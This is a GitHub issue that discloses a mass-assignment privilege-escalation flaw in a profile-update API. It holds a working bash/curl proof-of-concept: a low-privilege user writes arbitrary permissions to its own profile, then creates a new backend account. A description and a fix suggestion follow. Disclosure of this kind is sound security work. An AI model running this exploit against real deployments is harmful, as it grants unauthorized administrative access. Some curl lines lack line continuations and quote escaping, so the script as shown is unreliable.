Skip to content

The Mass Assignment feature of the personal information API interface has a vulnerability that allows low-privileged users to elevate their privileges and create backend accounts #848

@Pdsdt

Description

@Pdsdt

POC:
#!/usr/bin/env bash
set -euo pipefail

BASE_URL="${1:-http://192.168.200.21:8000}"
ADMIN_EMAIL="${ADMIN_EMAIL:-n.widart@gmail.com}"
ADMIN_PASSWORD="${ADMIN_PASSWORD:-test}"
TS="$(date +%s)"
ROLE_NAME="Low Profile Auditor ${TS}"
ROLE_SLUG="low-profile-auditor-${TS}"
LOW_EMAIL="low.profile.${TS}@example.com"
LOW_PASSWORD='Passw0rd!'
NEW_EMAIL="owned.profile.${TS}@example.com"
NEW_PASSWORD='PwnedPassw0rd!'

admin_cookie="$(mktemp)"
low_cookie="$(mktemp)"
new_cookie="$(mktemp)"
trap 'rm -f "$admin_cookie" "$low_cookie" "$new_cookie" /tmp/poc_v37_admin_login.html /tmp/poc_v37_low_login.html /tmp/poc_v37_new_login.html' EXIT

extract_token() {
grep -oP 'name="_token" type="hidden" value="\K[^"]+'
}

extract_meta_token() {
grep -oP 'meta name="user-api-token" content="\K[^"]*'
}

echo "[*] login as admin"
admin_csrf="$(curl -sS -c "$admin_cookie" "$BASE_URL/en/auth/login" | extract_token)"
curl -sS -b "$admin_cookie" -c "$admin_cookie" -L "$BASE_URL/en/auth/login"
-d "_token=$admin_csrf"
--data-urlencode "email=$ADMIN_EMAIL"
--data-urlencode "password=$ADMIN_PASSWORD" >/tmp/poc_v37_admin_login.html

admin_token="$(extract_meta_token </tmp/poc_v37_admin_login.html)"
if [[ -z "$admin_token" ]]; then
echo "[*] generate admin api token"
curl -sS -b "$admin_cookie" -c "$admin_cookie" "$BASE_URL/en/backend/account/api-keys/create" >/dev/null
admin_token="$(curl -sS -b "$admin_cookie" "$BASE_URL/en/backend" | extract_meta_token)"
fi
echo "[+] admin token: $admin_token"

echo "[*] create low-privilege role"
curl -sS -X POST "$BASE_URL/en/api/user/roles"
-H "Authorization: Bearer $admin_token"
-H 'Content-Type: application/json'
-d "{"name":"$ROLE_NAME","slug":"$ROLE_SLUG","permissions":{"dashboard.index":"1","account.api-keys.index":"1","account.api-keys.create":"1"}}"
echo

role_id="$(curl -sS "$BASE_URL/en/api/user/roles/all" -H "Authorization: Bearer $admin_token" | python3 -c 'import json,sys; data=json.load(sys.stdin)["data"]; print([x["id"] for x in data if x["slug"] == sys.argv[1]][0])' "$ROLE_SLUG")"
echo "[+] role id: $role_id"

echo "[*] create low-privilege user"
curl -sS -X POST "$BASE_URL/en/api/user/users"
-H "Authorization: Bearer $admin_token"
-H 'Content-Type: application/json'
-d "{"first_name":"Low","last_name":"Profile","email":"$LOW_EMAIL","password":"$LOW_PASSWORD","password_confirmation":"$LOW_PASSWORD","roles":[$role_id],"is_activated":true}"
echo

echo "[] login as low-privilege user"
low_csrf="$(curl -sS -c "$low_cookie" "$BASE_URL/en/auth/login" | extract_token)"
curl -sS -b "$low_cookie" -c "$low_cookie" -L "$BASE_URL/en/auth/login"
-d "_token=$low_csrf"
--data-urlencode "email=$LOW_EMAIL"
--data-urlencode "password=$LOW_PASSWORD" >/tmp/poc_v37_low_login.html
low_token="$(extract_meta_token </tmp/poc_v37_low_login.html)"
if [[ -z "$low_token" ]]; then
echo "[
] generate low-privilege api token"
curl -sS -b "$low_cookie" -c "$low_cookie" "$BASE_URL/en/backend/account/api-keys/create" >/dev/null
low_token="$(curl -sS -b "$low_cookie" "$BASE_URL/en/backend" | extract_meta_token)"
fi
echo "[+] low token: $low_token"

echo "[*] protected user listing should be denied before privilege escalation"
curl -i -sS "$BASE_URL/en/api/user/users"
-H "Authorization: Bearer $low_token" | sed -n '1,20p'

echo "[*] low-privilege user injects arbitrary permissions via profile update"
curl -i -sS -X POST "$BASE_URL/en/api/user/account/profile"
-H "Authorization: Bearer $low_token"
-H 'Content-Type: application/json'
-d "{"email":"$LOW_EMAIL","first_name":"Low","last_name":"Profile","permissions":{"dashboard.index":true,"user.users.index":true,"user.users.create":true}}" | sed -n '1,20p'

echo "[*] previously protected user listing is now accessible"
curl -i -sS "$BASE_URL/en/api/user/users?per_page=1"
-H "Authorization: Bearer $low_token" | sed -n '1,30p'

echo "[*] escalated low-privilege user creates a new backend-capable account"
curl -i -sS -X POST "$BASE_URL/en/api/user/users"
-H "Authorization: Bearer $low_token"
-H 'Content-Type: application/json'
-d "{"first_name":"Owned","last_name":"Profile","email":"$NEW_EMAIL","password":"$NEW_PASSWORD","password_confirmation":"$NEW_PASSWORD","is_activated":true,"permissions":{"dashboard.index":true,"account.api-keys.index":true,"account.api-keys.create":true}}" | sed -n '1,20p'

echo "[*] login with the attacker-controlled account"
new_csrf="$(curl -sS -c "$new_cookie" "$BASE_URL/en/auth/login" | extract_token)"
curl -i -sS -b "$new_cookie" -c "$new_cookie" -L "$BASE_URL/en/auth/login"
-d "_token=$new_csrf"
--data-urlencode "email=$NEW_EMAIL"
--data-urlencode "password=$NEW_PASSWORD" >/tmp/poc_v37_new_login.html
sed -n '1,30p' /tmp/poc_v37_new_login.html

new_token="$(extract_meta_token </tmp/poc_v37_new_login.html)"
echo "[+] new user token: $new_token"

des:The user profile update interface allows logged-in backend users to directly submit and save the "permissions" field. The ProfileController@update method passes $request->all() directly to the user repository to update the current user, and the user model configuration includes "permissions" as a field that can be assigned in bulk, which allows low-permission backend users to write arbitrary permissions when modifying their own profiles. In practical verification, I first created a low-permission backend account with only the permissions of "dashboard.index", "account.api-keys.index", and "account.api-keys.create". Initially, accessing GET /en/api/user/users returned a 401 Unauthorized response; subsequently, using the same Bearer Token to submit a POST /en/api/user/account/profile request with "dashboard.index", "user.users.index", and "user.users.create" as the "permissions" boolean values, the interface returned a 200 response, and the originally protected GET /en/api/user/users immediately returned a 200 response. Then, this low-permission account could continue to successfully create a new set of backend accounts controlled by itself by calling POST /en/api/user/users, and successfully logged in using the password of this account, redirecting to /en/backend. This indicates that attackers can use the profile update interface to complete privilege escalation and obtain a new backend access identity.

suggest:
The profile update API should only allow modifications to the basic profile fields of the current user. This should be implemented through an explicit whitelist assignment, for example, only accepting fields such as email, first_name, last_name, and password, and using $request->validated() instead of $request->all(). Additionally, permissions should be removed from the general profile editing route to prevent it from appearing in fields that can be assigned in bulk. If permissions need to be updated in other management APIs, PermissionManager::clean() should be uniformly reused and only allowed to be called by administrators with the corresponding permissions.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions